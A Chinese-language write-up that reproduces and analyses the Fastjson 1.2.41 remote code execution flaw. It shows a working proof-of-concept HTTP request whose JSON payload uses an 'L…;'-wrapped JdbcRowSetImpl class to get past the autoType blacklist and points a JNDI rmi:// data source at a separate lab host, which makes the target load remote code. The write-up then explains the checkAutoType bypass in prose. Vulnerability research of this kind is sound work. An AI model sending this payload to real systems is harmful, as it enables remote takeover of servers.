Fastjson 1.2.41 Rce 漏洞复现&分析
0x01 漏洞背景
影响范围：1.2.25-1.2.41
漏洞描述：由于过滤不严格，在开启autotype后导致类加载黑名单被绕过，造成命令执行
0x02 漏洞复现
poc：
POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 149
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
"autoCommit":true
}
0x03 漏洞分析
在1.2.24之后，fastjson1.2.25开始默认关闭对autoType的支持，并且添加checkAutoType方法，其采用了白名单+黑名单的模式对开启autoType开启的情况进行防御。但是在1.2.25-1.2.41版本之间多了一次绕过。
这个漏洞需要除了具备1.2.24rce的漏洞之外，还需要设置开AutoType支持
其他流程与1.2.24那个漏洞差不多，这里省略掉繁杂的流程直接定位到checkAutoType附近。
按照1.2.24及以前，在对key的内容进行解析之后，需要对该类进行加载时一般是直接loadClass，这里直接将loadClass放入了checkAutoType中
跟进checkAutoType，由于我们传入的payload是
Lcom.sun.rowset.JdbcRowSetImpl;
因此成功绕过是否以黑明单中com.sun开头的方式的拦截。
经过黑白名单检查后，进入类加载模式
跟进loadClass
由于该类并不存在在mappings列表中因此进入else if，而刚刚好其会过滤L和；，再对该类进行加载。
由此先绕过黑白名单，再去掉其他影响类加载的字符，剩下的跟1.2.24的漏洞的执行流程一样。
